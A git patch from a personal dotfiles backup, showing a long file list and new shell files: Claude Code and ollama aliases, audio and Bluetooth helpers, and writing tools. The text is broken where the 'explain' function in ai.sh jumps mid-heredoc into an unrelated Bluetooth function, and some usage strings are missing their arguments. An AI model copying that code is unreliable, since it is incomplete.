From 9b4572416de8a234ffd5ebaaaa549a930b3e2041 Mon Sep 17 00:00:00 2001 From: Kris Yotam <75515498+krisyotam@users.noreply.github.com> Date: Thu, 11 Jun 2026 20:06:00 -0500 Subject: [PATCH] wip: emergency backup (power outage risk) --- .config/.mksh/ai.sh | 101 + .config/.mksh/audiofile.sh | 336 + .config/.mksh/author.sh | 743 ++ .config/.mksh/blog.sh | 194 + .config/.mksh/cinefile.sh | 404 + .config/.mksh/core.sh | 1519 ++++ .config/.mksh/cp.sh | 323 + .config/.mksh/creator.sh | 335 + .config/.mksh/cyber.sh | 1760 ++++ .config/.mksh/forensic.sh | 670 ++ .config/.mksh/irc.sh | 180 + .config/.mksh/load.sh | 18 + .config/.mksh/photos.sh | 376 + .config/.mksh/sci.sh | 230 + .config/.plan9/aliases.rc | 9 + .config/.plan9/functions.rc | 570 ++ .config/aerc/aerc-accounts.conf | 19 + .config/aerc/aerc-binds.conf | 41 + .config/aspell/aspell.conf | 2 + .config/bat/config | 14 + .config/chromium/chromium-flags.conf | 72 + .config/chromium/launch-hardened.sh | 44 + .config/chromium/policies.json | 51 + .config/fd/fd.conf | 16 + .config/firefox/extensions.json | 24 + .config/git/build.yml | 27 + .config/git/delta.gitconfig | 25 + .config/git/git-aliases.gitconfig | 70 + .config/git/git-identities.gitconfig | 170 + .config/git/git-identity-work.gitconfig | 24 + .config/git/git-sendemail.gitconfig | 24 + .config/git/gitconfig-prose | 9 + .config/mksh/aliases.sh | 2 - .config/mksh/functions.sh | 30 - .config/picom.conf | 2 +- .config/ripgrep/ripgrep.conf | 32 + .config/tor/opsec-checklist.md | 40 + .config/tor/proxychains.conf | 54 + .config/tor/torrc | 76 + .local/bin/anagram | 13 + .local/bin/arxiv-search | 24 + .local/bin/backup-ms | 34 + .local/bin/benchit | 17 + .local/bin/blog-ai-review | 22 + .local/bin/blog-archive-url | 31 + .local/bin/blog-backlinks | 16 + .local/bin/blog-build-check | 21 + .local/bin/blog-draft-index | 10 + .local/bin/blog-frontmatter | 34 + .local/bin/blog-future-dates | 29 + .local/bin/blog-linkrot | 15 + .local/bin/blog-links | 13 + .local/bin/blog-new | 31 + .local/bin/blog-rss-check | 15 + .local/bin/blog-screenshot | 22 + .local/bin/blog-stats | 19 + .local/bin/blog-title | 17 + .local/bin/bookcompile | 68 + .local/bin/compare-drafts | 22 + .local/bin/cr | 46 + .local/bin/crossword | 6 + .local/bin/cve | 537 ++ .local/bin/deps | 55 + .local/bin/depsize | 12 + .local/bin/difflines | 12 + .local/bin/dups | 21 + .local/bin/epubmake | 54 + .local/bin/extract | 34 + .local/bin/gbd | 26 + .local/bin/gitstat | 32 + .local/bin/httptime | 19 + .local/bin/kwic | 8 + .local/bin/links | 73 + .local/bin/lint-all | 49 + .local/bin/macro-etym | 5 + .local/bin/mkscript | 29 + .local/bin/nanowrimo | 74 + .local/bin/note-graph | 20 + .local/bin/param-sweep | 9 + .local/bin/passive | 27 + .local/bin/pdf2bib-batch | 16 + .local/bin/pdfprint | 61 + .local/bin/portfind | 21 + .local/bin/proj | 27 + .local/bin/proofread | 33 + .local/bin/senlen | 16 + .local/bin/srht-build | 25 + .local/bin/srht-deploy | 32 + .local/bin/srht-mirror | 24 + .local/bin/srht-new | 24 + .local/bin/srht-repos | 9 + .local/bin/srht-ticket | 29 + .local/bin/sysinfo | 22 + .local/bin/system/sysact | 4 +- .local/bin/tkcheck | 25 + .local/bin/todo | 11 + .local/bin/tome | 1068 --- .local/bin/watchsync | 36 + .local/bin/weasel | 15 + .local/bin/wordlog | 19 + .local/share/buku/bookmarks.db | Bin 0 -> 12288 bytes .local/share/buku/links | 3 + .local/share/buku/wallets.txt | 1 + .local/share/templates/cp/cpp.cpp | 59 + .local/share/templates/cp/python.py | 21 + .mkshrc | 132 +- .planrc | 65 +- .xprofile | 3 + GENTOO-MIGRATION.md | 381 + bin/dnote | 2 + bin/dnotes | 366 +- binds.md | 209 + .../claude-home-recent-candidates.md | 599 ++ .../claude-projects-topical-candidates.md | 619 ++ doc/abstracts/converted-chat-candidates.md | 241 + doc/abstracts/index.md | 36 + .../pipeline-and-audit-candidates.md | 499 ++ doc/artists.md | 139 + doc/audiofile-tools-reference.md | 57 + doc/bloggers/resources/research.md | 394 + doc/bloggers/resources/toolbelt.md | 121 + doc/build-systems.md | 1017 +++ doc/cinefile-tools-reference.md | 36 + doc/creator/scripts/resources.md | 28 + doc/debugging.md | 1272 +++ doc/dotfiles.md | 40 + doc/editor-shell.md | 1055 +++ doc/elfeed.md | 75 + doc/files/audit.md | 393 + doc/files/cdn/archive.md | 14 + doc/files/cdn/assets.md | 31 + doc/files/cdn/audio.md | 20 + doc/files/cdn/fonts.md | 26 + doc/files/cdn/games.md | 11 + doc/files/cdn/iso.md | 112 + doc/files/cdn/migration/README.md | 44 + doc/files/cdn/migration/build_manifest.py | 321 + doc/files/cdn/migration/inventory_remote.py | 177 + .../migration/output/all-reference-paths.txt | 7264 +++++++++++++++++ .../migration/output/cdn-reference-paths.txt | 430 + .../cdn/migration/output/cdn-references.txt | 434 + .../output/photos-db-category-counts.tsv | 40 + .../migration/output/photos-db-cdn-urls.txt | 7045 ++++++++++++++++ .../cdn/migration/reconstruction-notes.md | 92 + doc/files/cdn/pics.md | 825 ++ doc/files/cdn/root.md | 56 + doc/files/cdn/video.md | 17 + doc/files/cdn/vr.md | 12 + doc/files/claudeAudit.md | 420 + doc/files/codexAudit.md | 526 ++ doc/gentoo/gentoo.md | 445 + doc/git.md | 303 + doc/gwern.md | 348 + doc/homelab/hardware-plan.md | 175 + doc/income/academia.md | 979 +++ doc/income/bank.md | 0 doc/income/bug-bounty.md | 314 + doc/income/donations.md | 0 doc/income/lifestyle.md | 746 ++ doc/income/open-source.md | 451 + doc/income/other.md | 0 doc/income/pentest.md | 333 + doc/income/status.md | 577 ++ doc/income/teaching.md | 0 doc/income/writing.md | 0 doc/index-fund.md | 11 + doc/knowledge/ai-alignment.md | 274 + doc/knowledge/astronomy.md | 267 + doc/knowledge/biology.md | 222 + doc/knowledge/chemistry.md | 285 + doc/knowledge/cs.md | 316 + doc/knowledge/llms.md | 234 + doc/knowledge/marine-biology.md | 261 + doc/knowledge/mathematics.md | 354 + doc/knowledge/physics.md | 247 + doc/knowledge/post-training.md | 242 + doc/knowledge/pre-training.md | 217 + doc/networking/government-guides/cisa.md | 55 + doc/networking/government-guides/corporate.md | 52 + .../government-guides/disa-stigs.md | 30 + doc/networking/government-guides/nist.md | 53 + doc/networking/government-guides/nsa.md | 108 + doc/networking/hardware/firewalls.md | 59 + doc/networking/hardware/physical-security.md | 37 + doc/networking/hardware/switches-vlans.md | 54 + doc/networking/hardware/vpn-appliances.md | 68 + doc/networking/host-hardening/dns.md | 51 + doc/networking/host-hardening/linux.md | 105 + doc/networking/host-hardening/nftables.md | 43 + doc/networking/host-hardening/nginx.md | 50 + doc/networking/monitoring/ids-ips.md | 95 + doc/networking/monitoring/siem.md | 45 + doc/networking/network-hardening-guide.md | 29 + doc/networking/plan9-security/9front.md | 35 + .../plan9-security/cluster-hardening.md | 104 + .../plan9-security/security-model.md | 42 + doc/networking/plan9-security/threat-model.md | 40 + doc/networking/zero-trust/overview.md | 58 + doc/networks/map.md | 157 + doc/networks/network.md | 159 + doc/networks/purchase.md | 77 + doc/networks/rules.md | 280 + doc/note.md | 84 + doc/old-system/drastic-income-research.md | 547 ++ doc/pass.md | 1526 ++++ doc/patch-workflow.md | 1083 +++ doc/photos/scripts/resources.md | 39 + doc/pipe-mastery.md | 894 ++ doc/plan9-acme.md | 887 ++ doc/plan9.md | 67 + doc/rc-shell-reference.md | 96 + doc/report.md | 641 ++ doc/research.md | 131 + doc/roadmaps/edu.md | 0 doc/roadmaps/it.md | 0 doc/security.md | 205 + doc/shell-mastery.md | 295 + doc/sourcehut.md | 1259 +++ doc/tasks.md | 140 + doc/tmux-mastery.md | 953 +++ doc/tools-advanced.md | 199 + doc/tools.md | 67 + doc/trading/research-cli-tools.md | 95 + doc/trading/research-infrastructure.md | 341 + doc/trading/research-python-tools.md | 107 + doc/trading/research-quant-oss.md | 112 + doc/trading/system.md | 348 + doc/trading/trading.md | 456 ++ profiles/9front/bin/riostart/common.rc | 26 + profiles/9front/bin/riostart/start | 3 + profiles/9front/bin/riostart/ws/irc | 49 + profiles/9front/bin/riostart/ws/main | 75 + profiles/9front/bin/riostart/ws/www | 50 + profiles/pentest/.config/firefox/user.js | 156 + .../pentest/.config/qutebrowser/config.py | 122 + repo-audit.md | 298 + 236 files changed, 57002 insertions(+), 1390 deletions(-) create mode 100644 .config/.mksh/ai.sh create mode 100644 .config/.mksh/audiofile.sh create mode 100644 .config/.mksh/author.sh create mode 100644 .config/.mksh/blog.sh create mode 100644 .config/.mksh/cinefile.sh create mode 100644 .config/.mksh/core.sh create mode 100644 .config/.mksh/cp.sh create mode 100644 .config/.mksh/creator.sh create mode 100644 .config/.mksh/cyber.sh create mode 100644 .config/.mksh/forensic.sh create mode 100644 .config/.mksh/irc.sh create mode 100644 .config/.mksh/load.sh create mode 100644 .config/.mksh/photos.sh create mode 100644 .config/.mksh/sci.sh create mode 100644 .config/.plan9/aliases.rc create mode 100644 .config/.plan9/functions.rc create mode 100644 .config/aerc/aerc-accounts.conf create mode 100644 .config/aerc/aerc-binds.conf create mode 100644 .config/aspell/aspell.conf create mode 100644 .config/bat/config create mode 100644 .config/chromium/chromium-flags.conf create mode 100755 .config/chromium/launch-hardened.sh create mode 100644 .config/chromium/policies.json create mode 100644 .config/fd/fd.conf create mode 100644 .config/firefox/extensions.json create mode 100644 .config/git/build.yml create mode 100644 .config/git/delta.gitconfig create mode 100644 .config/git/git-aliases.gitconfig create mode 100644 .config/git/git-identities.gitconfig create mode 100644 .config/git/git-identity-work.gitconfig create mode 100644 .config/git/git-sendemail.gitconfig create mode 100644 .config/git/gitconfig-prose delete mode 100644 .config/mksh/aliases.sh delete mode 100644 .config/mksh/functions.sh create mode 100644 .config/ripgrep/ripgrep.conf create mode 100644 .config/tor/opsec-checklist.md create mode 100644 .config/tor/proxychains.conf create mode 100644 .config/tor/torrc create mode 100755 .local/bin/anagram create mode 100755 .local/bin/arxiv-search create mode 100755 .local/bin/backup-ms create mode 100755 .local/bin/benchit create mode 100755 .local/bin/blog-ai-review create mode 100755 .local/bin/blog-archive-url create mode 100755 .local/bin/blog-backlinks create mode 100755 .local/bin/blog-build-check create mode 100755 .local/bin/blog-draft-index create mode 100755 .local/bin/blog-frontmatter create mode 100755 .local/bin/blog-future-dates create mode 100755 .local/bin/blog-linkrot create mode 100755 .local/bin/blog-links create mode 100755 .local/bin/blog-new create mode 100755 .local/bin/blog-rss-check create mode 100755 .local/bin/blog-screenshot create mode 100755 .local/bin/blog-stats create mode 100755 .local/bin/blog-title create mode 100755 .local/bin/bookcompile create mode 100755 .local/bin/compare-drafts create mode 100755 .local/bin/cr create mode 100755 .local/bin/crossword create mode 100755 .local/bin/cve create mode 100755 .local/bin/deps create mode 100755 .local/bin/depsize create mode 100755 .local/bin/difflines create mode 100755 .local/bin/dups create mode 100755 .local/bin/epubmake create mode 100755 .local/bin/extract create mode 100755 .local/bin/gbd create mode 100755 .local/bin/gitstat create mode 100755 .local/bin/httptime create mode 100755 .local/bin/kwic create mode 100755 .local/bin/links create mode 100755 .local/bin/lint-all create mode 100755 .local/bin/macro-etym create mode 100755 .local/bin/mkscript create mode 100755 .local/bin/nanowrimo create mode 100755 .local/bin/note-graph create mode 100755 .local/bin/param-sweep create mode 100755 .local/bin/passive create mode 100755 .local/bin/pdf2bib-batch create mode 100755 .local/bin/pdfprint create mode 100755 .local/bin/portfind create mode 100755 .local/bin/proj create mode 100755 .local/bin/proofread create mode 100755 .local/bin/senlen create mode 100755 .local/bin/srht-build create mode 100755 .local/bin/srht-deploy create mode 100755 .local/bin/srht-mirror create mode 100755 .local/bin/srht-new create mode 100755 .local/bin/srht-repos create mode 100755 .local/bin/srht-ticket create mode 100755 .local/bin/sysinfo create mode 100755 .local/bin/tkcheck create mode 100755 .local/bin/todo delete mode 100755 .local/bin/tome create mode 100755 .local/bin/watchsync create mode 100755 .local/bin/weasel create mode 100755 .local/bin/wordlog create mode 100644 .local/share/buku/bookmarks.db create mode 100644 .local/share/buku/links create mode 100644 .local/share/buku/wallets.txt create mode 100644 .local/share/templates/cp/cpp.cpp create mode 100644 .local/share/templates/cp/python.py create mode 100644 GENTOO-MIGRATION.md create mode 100755 bin/dnote create mode 100644 binds.md create mode 100644 doc/abstracts/claude-home-recent-candidates.md create mode 100644 doc/abstracts/claude-projects-topical-candidates.md create mode 100644 doc/abstracts/converted-chat-candidates.md create mode 100644 doc/abstracts/index.md create mode 100644 doc/abstracts/pipeline-and-audit-candidates.md create mode 100644 doc/artists.md create mode 100644 doc/audiofile-tools-reference.md create mode 100644 doc/bloggers/resources/research.md create mode 100644 doc/bloggers/resources/toolbelt.md create mode 100644 doc/build-systems.md create mode 100644 doc/cinefile-tools-reference.md create mode 100644 doc/creator/scripts/resources.md create mode 100644 doc/debugging.md create mode 100644 doc/dotfiles.md create mode 100644 doc/editor-shell.md create mode 100644 doc/elfeed.md create mode 100644 doc/files/audit.md create mode 100644 doc/files/cdn/archive.md create mode 100644 doc/files/cdn/assets.md create mode 100644 doc/files/cdn/audio.md create mode 100644 doc/files/cdn/fonts.md create mode 100644 doc/files/cdn/games.md create mode 100644 doc/files/cdn/iso.md create mode 100644 doc/files/cdn/migration/README.md create mode 100644 doc/files/cdn/migration/build_manifest.py create mode 100644 doc/files/cdn/migration/inventory_remote.py create mode 100644 doc/files/cdn/migration/output/all-reference-paths.txt create mode 100644 doc/files/cdn/migration/output/cdn-reference-paths.txt create mode 100644 doc/files/cdn/migration/output/cdn-references.txt create mode 100644 doc/files/cdn/migration/output/photos-db-category-counts.tsv create mode 100644 doc/files/cdn/migration/output/photos-db-cdn-urls.txt create mode 100644 doc/files/cdn/migration/reconstruction-notes.md create mode 100644 doc/files/cdn/pics.md create mode 100644 doc/files/cdn/root.md create mode 100644 doc/files/cdn/video.md create mode 100644 doc/files/cdn/vr.md create mode 100644 doc/files/claudeAudit.md create mode 100644 doc/files/codexAudit.md create mode 100644 doc/gentoo/gentoo.md create mode 100644 doc/git.md create mode 100644 doc/gwern.md create mode 100644 doc/homelab/hardware-plan.md create mode 100644 doc/income/academia.md create mode 100644 doc/income/bank.md create mode 100644 doc/income/bug-bounty.md create mode 100644 doc/income/donations.md create mode 100644 doc/income/lifestyle.md create mode 100644 doc/income/open-source.md create mode 100644 doc/income/other.md create mode 100644 doc/income/pentest.md create mode 100644 doc/income/status.md create mode 100644 doc/income/teaching.md create mode 100644 doc/income/writing.md create mode 100644 doc/index-fund.md create mode 100644 doc/knowledge/ai-alignment.md create mode 100644 doc/knowledge/astronomy.md create mode 100644 doc/knowledge/biology.md create mode 100644 doc/knowledge/chemistry.md create mode 100644 doc/knowledge/cs.md create mode 100644 doc/knowledge/llms.md create mode 100644 doc/knowledge/marine-biology.md create mode 100644 doc/knowledge/mathematics.md create mode 100644 doc/knowledge/physics.md create mode 100644 doc/knowledge/post-training.md create mode 100644 doc/knowledge/pre-training.md create mode 100644 doc/networking/government-guides/cisa.md create mode 100644 doc/networking/government-guides/corporate.md create mode 100644 doc/networking/government-guides/disa-stigs.md create mode 100644 doc/networking/government-guides/nist.md create mode 100644 doc/networking/government-guides/nsa.md create mode 100644 doc/networking/hardware/firewalls.md create mode 100644 doc/networking/hardware/physical-security.md create mode 100644 doc/networking/hardware/switches-vlans.md create mode 100644 doc/networking/hardware/vpn-appliances.md create mode 100644 doc/networking/host-hardening/dns.md create mode 100644 doc/networking/host-hardening/linux.md create mode 100644 doc/networking/host-hardening/nftables.md create mode 100644 doc/networking/host-hardening/nginx.md create mode 100644 doc/networking/monitoring/ids-ips.md create mode 100644 doc/networking/monitoring/siem.md create mode 100644 doc/networking/network-hardening-guide.md create mode 100644 doc/networking/plan9-security/9front.md create mode 100644 doc/networking/plan9-security/cluster-hardening.md create mode 100644 doc/networking/plan9-security/security-model.md create mode 100644 doc/networking/plan9-security/threat-model.md create mode 100644 doc/networking/zero-trust/overview.md create mode 100644 doc/networks/map.md create mode 100644 doc/networks/network.md create mode 100644 doc/networks/purchase.md create mode 100644 doc/networks/rules.md create mode 100644 doc/note.md create mode 100644 doc/old-system/drastic-income-research.md create mode 100644 doc/pass.md create mode 100644 doc/patch-workflow.md create mode 100644 doc/photos/scripts/resources.md create mode 100644 doc/pipe-mastery.md create mode 100644 doc/plan9-acme.md create mode 100644 doc/plan9.md create mode 100644 doc/rc-shell-reference.md create mode 100644 doc/report.md create mode 100644 doc/research.md create mode 100644 doc/roadmaps/edu.md create mode 100644 doc/roadmaps/it.md create mode 100644 doc/security.md create mode 100644 doc/shell-mastery.md create mode 100644 doc/sourcehut.md create mode 100644 doc/tasks.md create mode 100644 doc/tmux-mastery.md create mode 100644 doc/tools-advanced.md create mode 100644 doc/tools.md create mode 100644 doc/trading/research-cli-tools.md create mode 100644 doc/trading/research-infrastructure.md create mode 100644 doc/trading/research-python-tools.md create mode 100644 doc/trading/research-quant-oss.md create mode 100644 doc/trading/system.md create mode 100644 doc/trading/trading.md create mode 100644 profiles/9front/bin/riostart/common.rc create mode 100644 profiles/9front/bin/riostart/start create mode 100644 profiles/9front/bin/riostart/ws/irc create mode 100644 profiles/9front/bin/riostart/ws/main create mode 100644 profiles/9front/bin/riostart/ws/www create mode 100644 profiles/pentest/.config/firefox/user.js create mode 100644 profiles/pentest/.config/qutebrowser/config.py create mode 100644 repo-audit.md diff --git a/.config/.mksh/ai.sh b/.config/.mksh/ai.sh new file mode 100644 index 0000000000000000000000000000000000000000..3f54c1f2eee3486fc614888e5d04768c9a49bfe6 --- /dev/null +++ b/.config/.mksh/ai.sh @@ -0,0 +1,101 @@ +# ai -- aliases and functions for sophia +# Claude Code, Anthropic API, local models, prompt engineering + +# ============================================================================ +# ENVIRONMENT +# ============================================================================ +export PI_CODING_AGENT_DIR="$HOME/src/sophia" + +# ============================================================================ +# CLAUDE CODE +# ============================================================================ +alias cc='claude' # interactive session +alias cch='claude -p --model haiku' # piped haiku (cheap/fast) +alias ccs='claude -p --model sonnet' # piped sonnet (balanced) +alias cco='claude -p --model opus' # piped opus (heavy) +alias ccr='claude --resume' # resume last conversation +alias ccl='claude --resume --latest' # resume latest conversation + +# ============================================================================ +# ANTHROPIC API (curl one-liners) +# ============================================================================ +alias akey='echo $ANTHROPIC_API_KEY' # print current key +alias amod='curl -s https://api.anthropic.com/v1/models -H "x-api-key: $ANTHROPIC_API_KEY" -H "anthropic-version: 2023-06-01" | jq .data[].id' + +# ============================================================================ +# LOCAL MODELS (ollama) +# ============================================================================ +alias ol='ollama' +alias olr='ollama run' +alias oll='ollama list' +alias olp='ollama pull' +alias ols='ollama serve' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# ask -- one-shot question to claude (stdin or arg) +ask() { + if [ -n "$1" ]; then + echo "$*" | claude -p --model sonnet + else + claude -p --model sonnet + fi +} + +# explain -- pipe code/text and get an explanation +explain() { + claude -p --model sonnet <"; return 1; } + sudo hcitool lp "$mac" NONE + echo "[+] Sniff mode disabled for $mac" +} + +# connect AirPods (pair + trust + connect) +airpods_connect() { + mac="$1" + [ -z "$mac" ] && { echo "Usage: airpods_connect "; return 1; } + bluetoothctl power on + sleep 1 + bluetoothctl trust "$mac" + bluetoothctl connect "$mac" +} + +# connect all paired BT devices and switch audio +bt_connect_all() { + bluetoothctl power on + while [ -z "$(bluetoothctl show | grep 'Powered: yes')" ]; do sleep 1; done + bluetoothctl devices Paired | awk '{print $2}' | while read -r dev; do + bluetoothctl connect "$dev" 2>/dev/null + done + btsink=$(pactl list short sinks | grep bluez | awk '{print $1}' | head -1) + [ -n "$btsink" ] && pactl set-default-sink "$btsink" +} + +# BT battery percentage +bt_battery() { + devices=$(bluetoothctl devices Connected | awk '{print $2}') + for dev in $devices; do + name=$(bluetoothctl info "$dev" | grep "Name:" | sed 's/.*Name: //') + batt=$(bluetoothctl info "$dev" | grep "Battery Percentage" | awk -F'[()]' '{print $2}') + [ -n "$batt" ] && echo "$name: ${batt}%" + done +} + +# auto-reconnect loop for BT headphones +bt_autoreconnect() { + mac="$1" + [ -z "$mac" ] && { echo "Usage: bt_autoreconnect "; return 1; } + echo "[*] Auto-reconnecting $mac (Ctrl+C to stop)..." + while true; do + connected=$(bluetoothctl info "$mac" 2>/dev/null | grep "Connected: yes") + if [ -z "$connected" ]; then + bluetoothctl connect "$mac" >/dev/null 2>&1 + fi + sleep 5 + done +} + +# switch audio output via dmenu/rofi +audioswitch() { + options=$(pactl -f json list sinks 2>/dev/null | jq -r '.[] | .description') + if command -v dmenu >/dev/null; then + selection=$(echo "$options" | dmenu -i -l 5 -c -p "Output:") + elif command -v rofi >/dev/null; then + selection=$(echo "$options" | rofi -dmenu -i -p "Output:") + else + echo "No menu available"; return 1 + fi + [ -z "$selection" ] && return + sink=$(pactl -f json list sinks | jq -r --arg d "$selection" \ + '.[] | select(.description == $d) | .name') + [ -n "$sink" ] && pactl set-default-sink "$sink" && \ + notify-send "Audio: $selection" 2>/dev/null +} + +# cycle to next audio sink +audionext() { + sinks=$(pactl list short sinks | awk '{print $2}') + current=$(pactl get-default-sink) + next=$(echo "$sinks" | grep -A1 "^${current}$" | tail -1) + [ "$next" = "$current" ] && next=$(echo "$sinks" | head -1) + pactl set-default-sink "$next" + pactl list short sink-inputs | awk '{print $1}' | while read -r stream; do + pactl move-sink-input "$stream" "$next" + done + desc=$(pactl -f json list sinks | jq -r --arg n "$next" '.[] | select(.name == $n) | .description') + notify-send "Audio: $desc" 2>/dev/null + echo "Switched to: $desc" +} + +# hi-res FLAC to CD quality (16bit/44.1kHz) +flac_downconvert() { + for f in "$@"; do + bps=$(metaflac --show-bps "$f" 2>/dev/null) + rate=$(metaflac --show-sample-rate "$f" 2>/dev/null) + if [ "$bps" = "16" ] && [ "$rate" = "44100" ]; then + echo "Already CD quality: $f"; continue + fi + out="${f%.flac} [16-44].flac" + ffmpeg -i "$f" -y -vn \ + -af "aresample=resampler=soxr:dither_method=triangular" \ + -ar 44100 -sample_fmt s16 -c:a flac "$out" + echo "Converted: $out" + done +} + +# batch convert to MP3 320k +to_mp3() { + for f in "$@"; do + ffmpeg -i "$f" -ab 320k "${f%.*}.mp3" + done +} + +# DSD to PCM FLAC +dsd2pcm() { + for f in "$@"; do + ffmpeg -i "$f" -af "lowpass=f=20000" -ar 176400 -sample_fmt s32 \ + -c:a flac "${f%.*}.flac" + done +} + +# audio file info (bit depth, sample rate, codec, duration) +audio_info() { + for f in "$@"; do + echo "=== $(basename "$f") ===" + ffprobe -hide_banner -show_entries stream=codec_name,sample_rate,bits_per_raw_sample,channels,duration \ + -of default=noprint_wrappers=1 "$f" 2>/dev/null + echo "" + done +} + +# batch EBU R128 loudness normalization +loudnorm_batch() { + for f in "$@"; do + out="${f%.*}_normalized.${f##*.}" + ffmpeg -i "$f" -af loudnorm=I=-14:LRA=11:TP=-1 "$out" + echo "Normalized: $out" + done +} + +# play a directory via MPD +mpd_play_dir() { + dir="${1:-.}" + mpc clear + mpc ls "$dir" | mpc add + mpc shuffle + mpc play +} + +# MPD album art notification +mpd_notify() { + musicdir="$HOME/music" + while true; do + mpc idle player >/dev/null + song=$(mpc current -f '%file%') + [ -z "$song" ] && continue + artist=$(mpc current -f '%artist%') + title=$(mpc current -f '%title%') + album=$(mpc current -f '%album%') + songdir="$musicdir/$(dirname "$song")" + cover="" + for img in "$songdir"/cover.jpg "$songdir"/cover.png "$songdir"/folder.jpg; do + [ -f "$img" ] && cover="$img" && break + done + if [ -z "$cover" ]; then + cover="/tmp/mpd_cover.jpg" + ffmpeg -y -i "$musicdir/$song" -an -vcodec copy "$cover" 2>/dev/null + fi + notify-send -i "${cover:-audio-x-generic}" "$title" "$artist -- $album" 2>/dev/null + done +} + +# extract embedded album art +extract_cover() { + for f in "$@"; do + dir=$(dirname "$f") + [ -f "$dir/cover.jpg" ] && continue + ffmpeg -i "$f" -an -vcodec copy "$dir/cover.jpg" 2>/dev/null && \ + echo "Extracted: $dir/cover.jpg" + done +} + +# import each file individually (avoids auto-grouping) +beet_cherry() { + dir="${1:-.}" + find "$dir" -maxdepth 1 -type f \( -name '*.mp3' -o -name '*.flac' -o -name '*.m4a' \) | while read -r f; do + beet import "$f" + done +} + +# find tracks on disk not in beets DB +beet_orphans() { + musicdir="${1:-$HOME/music}" + beetsdir="${2:-$musicdir}" + echo "[*] Comparing disk vs beets database..." + beet list --format '$path' | sort > /tmp/beet_imported.txt + find "$musicdir" -type f \( -iname '*.mp3' -o -iname '*.flac' -o -iname '*.ogg' -o -iname '*.m4a' \) | sort > /tmp/beet_disk.txt + echo "Orphaned files (on disk, not in beets):" + comm -23 /tmp/beet_disk.txt /tmp/beet_imported.txt +} + +# sanitize music filenames +sanitize_music() { + dir="${1:-.}" + find "$dir" -type f \( -name "*.mp3" -o -name "*.flac" -o -name "*.opus" \) | while read -r f; do + d=$(dirname "$f"); b=$(basename "$f") + clean=$(echo "$b" | sed 's/[<>:"/\\|?*]//g; s/ */ /g; s/^ //; s/ $//') + [ "$b" != "$clean" ] && mv -v "$f" "$d/$clean" + done +} + +# find duplicate audio files by checksum +find_audio_dupes() { + dir="${1:-.}" + find "$dir" -type f \( -name "*.mp3" -o -name "*.flac" -o -name "*.m4a" -o -name "*.opus" \) \ + -exec md5sum {} + | sort | uniq -w32 -d --all-repeated=separate +} + +# split a full-side recording into tracks by silence +vinyl_split() { + input="$1"; threshold="${2:--40}"; min_silence="${3:-2}" + [ -z "$input" ] && { echo "Usage: vinyl_split [threshold-dB] [min-silence-sec]"; return 1; } + echo "[*] Detecting silence points..." + ffmpeg -i "$input" -af "silencedetect=noise=${threshold}dB:d=${min_silence}" \ + -f null - 2>&1 | grep "silence_end" | awk '{print $5}' | sed 's/|//' > /tmp/vinyl_splits.txt + prev=0; track=1 + while read -r end; do + start=$(echo "$end - 0.5" | bc) + if [ "$(echo "$start > $prev" | bc -l)" = "1" ]; then + ffmpeg -i "$input" -ss "$prev" -to "$start" -c copy "track_$(printf '%02d' $track).flac" + track=$((track + 1)) + fi + prev="$end" + done < /tmp/vinyl_splits.txt + ffmpeg -i "$input" -ss "$prev" -c copy "track_$(printf '%02d' $track).flac" + echo "[+] Split into $track tracks" +} + +# verify realtime audio setup +check_rt() { + echo "=== Realtime Audio Check ===" + echo "User groups: $(groups)" + echo "rtprio: $(ulimit -r 2>/dev/null || echo 'N/A')" + echo "memlock: $(ulimit -l 2>/dev/null || echo 'N/A')" + if grep -q "^@audio" /etc/security/limits.conf 2>/dev/null; then + echo "Audio group limits: configured" + else + echo "WARNING: No audio group limits" + fi + if lsmod | grep -q snd_hrtimer 2>/dev/null; then + echo "snd_hrtimer: loaded" + else + echo "snd_hrtimer: not loaded" + fi +} diff --git a/.config/.mksh/author.sh b/.config/.mksh/author.sh new file mode 100644 index 0000000000000000000000000000000000000000..126b590711073e9ffc19ff9d72a4d8267b0ab0d9 --- /dev/null +++ b/.config/.mksh/author.sh @@ -0,0 +1,743 @@ +# author -- writing tools: dictionaries, prose analysis, translation, publishing + +# ============================================================================ +# DICTIONARY / THESAURUS +# ============================================================================ +alias d='dict' +alias dg='dict -d gcide' +alias dw='dict -d wn' +alias dmt='dict -d moby-thesaurus' +alias dd='dict -d devil' + +# ============================================================================ +# TRANSLATION +# ============================================================================ +alias t='trans -b' +alias ten='trans -b :en' +alias tdict='trans -d en:' + +# ============================================================================ +# PROSE LINTING +# ============================================================================ +alias vl='vale' +alias pl='proselint' +alias wg='write-good' +alias ax='alex' +alias lt='languagetool-commandline' +alias tl='textlint' +alias hp='harper' +alias dic='diction' +alias sty='style' +alias wdf='wdiff' +alias sq='smartypants' +alias ltj='java -jar /usr/share/java/languagetool/languagetool-commandline.jar -l en-US' + +# ============================================================================ +# PANDOC SHORTCUTS +# ============================================================================ +alias md2pdf='pandoc --pdf-engine=xelatex' +alias md2docx='pandoc --reference-doc=reference.docx' +alias md2epub='pandoc -t epub3 --toc' +alias md2html='pandoc --standalone --toc' +alias md2rtf='pandoc -s -t rtf' + +# ============================================================================ +# CALIBRE / EBOOK +# ============================================================================ +alias ec='ebook-convert' +alias em='ebook-meta' +alias ep='ebook-polish' +alias epv='epubcheck' + +# ============================================================================ +# ENCODING / CLEANUP +# ============================================================================ +alias cdet='chardetect' +alias dtx='detox -n' +alias dtxf='detox' + +# ============================================================================ +# BIBLIOGRAPHY +# ============================================================================ +alias pap='papis' +alias d2b='doi2bib' + +# ============================================================================ +# CRITICMARKUP +# ============================================================================ +alias pc='pancritic' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# --- DICTIONARIES --- + +# etym -- etymology lookup via etymonline +etym() { + curl -s "https://www.etymonline.com/word/$1" | python3 -c " +import sys +from html.parser import HTMLParser +class P(HTMLParser): + def __init__(self): + super().__init__() + self.capture = False + self.text = [] + def handle_starttag(self, tag, attrs): + for k, v in attrs: + if k == 'class' and 'word__defination' in (v or ''): + self.capture = True + def handle_endtag(self, tag): + if tag == 'section': self.capture = False + def handle_data(self, data): + if self.capture: self.text.append(data) +p = P() +p.feed(sys.stdin.read()) +print(' '.join(p.text).strip()[:2000]) +" 2>/dev/null +} + +# syn -- synonyms via Datamuse API +syn() { + curl -s "https://api.datamuse.com/words?rel_syn=$1&max=30" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# ant -- antonyms via Datamuse +ant() { + curl -s "https://api.datamuse.com/words?rel_ant=$1&max=20" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# 